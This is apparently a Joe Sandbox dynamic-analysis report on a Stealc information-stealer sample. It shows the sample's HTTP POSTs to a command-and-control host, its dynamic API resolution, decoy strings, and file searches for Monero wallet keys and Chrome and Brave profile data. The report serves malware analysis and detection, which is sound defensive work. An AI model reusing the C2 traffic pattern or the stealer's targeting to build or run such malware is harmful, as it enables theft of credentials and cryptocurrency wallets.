Sep 28, 2024 10:19:20.773190022 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 28, 2024 10:19:20.818068027 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 2d 2d 0d 0a Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="message"ybncbhylepme------EGIDAAFIEHIEHJKFHCAE--
Sep 28, 2024 10:19:21.052520037 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:20 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2338 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6f 66 66 69 63 65 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 [TRUNCATED] Data Ascii: .pl<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>.ar<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>*.br<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.offi
Sep 28, 2024 10:19:21.053781986 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBK Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGCAAFBFBKFIDGDHJDBK--
Sep 28, 2024 10:19:21.766603947 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	04:18:57
Start date:	28/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x4a0000
File size:	1'815'552 bytes
MD5 hash:	C56AE595533E90F249A0D41C74BAE30C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1933207036.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1705496140.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	25.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	28

Executed Functions

Function 004B9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00FD2278), ref: 004B98A1
GetProcAddress.KERNEL32(74DD0000,00FD22A8), ref: 004B98BA
GetProcAddress.KERNEL32(74DD0000,00FD22C0), ref: 004B98D2
GetProcAddress.KERNEL32(74DD0000,00FD2008), ref: 004B98EA
GetProcAddress.KERNEL32(74DD0000,00FD2188), ref: 004B9903
GetProcAddress.KERNEL32(74DD0000,00FD9018), ref: 004B991B
GetProcAddress.KERNEL32(74DD0000,00FC6698), ref: 004B9933
GetProcAddress.KERNEL32(74DD0000,00FC6638), ref: 004B994C
GetProcAddress.KERNEL32(74DD0000,00FD2080), ref: 004B9964
GetProcAddress.KERNEL32(74DD0000,00FD2020), ref: 004B997C
GetProcAddress.KERNEL32(74DD0000,00FD21A0), ref: 004B9995
GetProcAddress.KERNEL32(74DD0000,00FD2038), ref: 004B99AD
GetProcAddress.KERNEL32(74DD0000,00FC64B8), ref: 004B99C5
GetProcAddress.KERNEL32(74DD0000,00FD2050), ref: 004B99DE
GetProcAddress.KERNEL32(74DD0000,00FD2068), ref: 004B99F6
GetProcAddress.KERNEL32(74DD0000,00FC65F8), ref: 004B9A0E
GetProcAddress.KERNEL32(74DD0000,00FD20F8), ref: 004B9A27
GetProcAddress.KERNEL32(74DD0000,00FD2110), ref: 004B9A3F
GetProcAddress.KERNEL32(74DD0000,00FC63F8), ref: 004B9A57
GetProcAddress.KERNEL32(74DD0000,00FD2128), ref: 004B9A70
GetProcAddress.KERNEL32(74DD0000,00FC6558), ref: 004B9A88
LoadLibraryA.KERNEL32(00FD2368,?,004B6A00), ref: 004B9A9A
LoadLibraryA.KERNEL32(00FD2308,?,004B6A00), ref: 004B9AAB
LoadLibraryA.KERNEL32(00FD2320,?,004B6A00), ref: 004B9ABD
LoadLibraryA.KERNEL32(00FD2338,?,004B6A00), ref: 004B9ACF
LoadLibraryA.KERNEL32(00FD2350,?,004B6A00), ref: 004B9AE0
GetProcAddress.KERNEL32(75A70000,00FD22F0), ref: 004B9B02
GetProcAddress.KERNEL32(75290000,00FD2380), ref: 004B9B23
GetProcAddress.KERNEL32(75290000,00FD2398), ref: 004B9B3B
GetProcAddress.KERNEL32(75BD0000,00FD22D8), ref: 004B9B5D
GetProcAddress.KERNEL32(75450000,00FC6418), ref: 004B9B7E
GetProcAddress.KERNEL32(76E90000,00FD8F28), ref: 004B9B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 004B9BB6

Strings

NtQueryInformationProcess, xrefs: 004B9BAA

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 21b5f202fa8f3d5f09aca797d9a3cb13c354a44774cedd207c78c13714979e56
Instruction ID: 63279322a2f23a825eebd100d0379f8e3f1f6870b513e367abd5dc9a7d827709
Opcode Fuzzy Hash: 21b5f202fa8f3d5f09aca797d9a3cb13c354a44774cedd207c78c13714979e56
Instruction Fuzzy Hash: 69A13EB95103809FD754DFE8EDC89963BFBF748301715A61EE605CB268D639B881CB22

Function 004A45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 004A460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004A479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004A4657

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 73ea5d19e5af324eb1b932fec7f7862a2aaedfd51d6fade29252f5176e153c5a
Instruction ID: d4361f4b5e0702c20c132277a43e3b5c829f27af810d328ca847e54233319705
Opcode Fuzzy Hash: 73ea5d19e5af324eb1b932fec7f7862a2aaedfd51d6fade29252f5176e153c5a
Instruction Fuzzy Hash: C1410A746C2799EEEF74BFA58C41FAD7A95DF8270AF605089A80052282CFFC7541C529

Function 004ABE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

FindFirstFileA.KERNEL32(00000000,?,004C0B32,004C0B2B,00000000,?,?,?,004C13F4,004C0B2A), ref: 004ABEF5
StrCmpCA.SHLWAPI(?,004C13F8), ref: 004ABF4D
StrCmpCA.SHLWAPI(?,004C13FC), ref: 004ABF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 004AC7BF
FindClose.KERNEL32(000000FF), ref: 004AC7D1

Strings

Preferences, xrefs: 004AC11E
Google Chrome, xrefs: 004AC634
Brave, xrefs: 004AC102
\Brave\Preferences, xrefs: 004AC1DB

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
